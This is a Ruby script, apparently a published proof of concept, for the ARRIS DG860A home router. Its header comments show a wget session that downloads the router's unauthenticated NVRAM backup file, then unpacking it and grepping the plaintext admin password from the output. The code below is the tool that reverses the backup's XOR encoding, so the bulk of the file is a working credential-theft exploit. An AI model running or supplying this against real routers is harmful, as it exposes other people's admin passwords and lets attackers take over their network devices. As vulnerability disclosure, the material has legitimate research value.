1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
#!/usr/bin/env ruby # ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor? # Gleaned from sc_mix executable in firmware dump. # # Backup file is world readable without authentication and contains password # information in plain text. # # box:arris-dev cosmo$ wget http://192.168.0.1/router.data # --2013-10-17 18:21:28--http://192.168.0.1/router.data # Connecting to 192.168.0.1:80... connected. # HTTP request sent, awaiting response... 200 OK # Length: 3518 (3.4K) [application/octet-stream] # Saving to: ‘router.data’ # # 100%[=============================================================================================================>] 3,518 --.-K/s in 0s # # 2013-10-17 18:21:28 (108 MB/s) - ‘router.data’ saved [3518/3518] # # box:arris-dev cosmo$ tar vxf router.data # x backup/ # x backup/sc_nvram.usr.sc # x backup/sc_nvram.sc # box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump # Password: # box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword # sysAdminPassword[0]=test123 # box:arris-dev cosmo$ # # # require 'optparse' require 'highline/import' require 'zlib' def Compress(infile, outfile) instream = nil outstream = nil size = 0 calculatedcrc = 0 data='' size = File.size?(infile) instream = File.open(infile,'r') data = instream.read() data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*') instream.close() if !instream.nil? outstream = File.open(outfile,'w') outstream.write("\x00NOF") outstream.write([size].pack('L>')) calculatedcrc = Zlib::crc32(data) outstream.write([calculatedcrc].pack('L>')) outstream.write([size].pack('L>')) outstream.write("\x00\x00\x00\x00" * 6) outstream.write(data) outstream.close() if !outstream.nil? end def Decompress(infile, outfile) instream = nil outstream = nil size = 0 embeddedcrc = 0 calculatedcrc = 0 data='' if !(File::size?(infile) >= 0x28) puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)" exit end instream = File::open(infile,'r') if instream.read(4) != "\x00NOF" instream.close() if !instream.nil? puts "[ERROR]: Source file contains invalid magic(\\x00NOF)" exit end size = instream.read(4).unpack("L>")[0] embeddedcrc = instream.read(4).unpack("L>")[0] if !(File.size?(infile) >= (0x28+size)) puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")" instream.close() if !instream.nil? end instream.seek(0x28,IO::SEEK_SET) data = instream.read(size) calculatedcrc = Zlib::crc32(data) if embeddedcrc != calculatedcrc puts "[ERROR]: Checksum mismatch" instream.close() if !instream.nil? exit end outstream = File::open(outfile,'w') outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')) instream.close() if !instream.nil? outstream.close() if !outstream.nil? end #begin if __FILE__ == $0 options = {} opt_parser = OptionParser.new do |opts| opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>" opts.separator "Usage:" opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v } opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v } opts.on('-u', 'Uncompress') { options[:uncompress] = true } opts.on_tail("-h", "Show this message") do puts opts exit end end opt_parser.parse! if options[:source_file].nil? or options[:destination_file].nil? puts opt_parser exit end if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file]) puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)" exit end if File::exists?(options[:destination_file]) if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ") exit end if !File::writable?(options[:destination_file]) puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)" exit end end if !options[:uncompress] puts "[WARNING]: Compression is currently beta" Compress(options[:source_file], options[:destination_file]) else Decompress(options[:source_file], options[:destination_file]) end end |